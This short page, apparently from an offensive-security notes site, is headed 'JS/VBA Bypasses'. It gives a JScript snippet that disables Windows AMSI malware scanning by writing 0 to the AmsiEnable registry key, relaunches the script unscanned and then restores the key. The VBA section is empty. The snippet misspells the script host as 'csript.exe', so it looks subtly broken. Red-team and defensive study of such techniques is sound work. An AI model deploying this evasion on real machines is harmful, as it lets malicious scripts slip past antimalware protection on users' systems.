JS/VBA Bypasses
Overview
JScript bypasses
var WsShell = new ActiveXObject("WScript.Shell");
var Key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";
try {
var Reg = WsShell.RegRead(Key);
if (Reg != 0) {
WsShell.RegWrite(Key, "0", "REG_DWORD");
WsShell.Run("csript.exe -e:{F414C262-6AC0-11CF-B6D1-00AA00BBBB58} " + WScript.ScriptFullName, 0, 1);
WScript.Sleep(5000);
WsShell.RegWrite(Key, "1", "REG_DWORD");
}
} catch (e) {
WScript.Quit(1);
}VBA bypasses
Last updated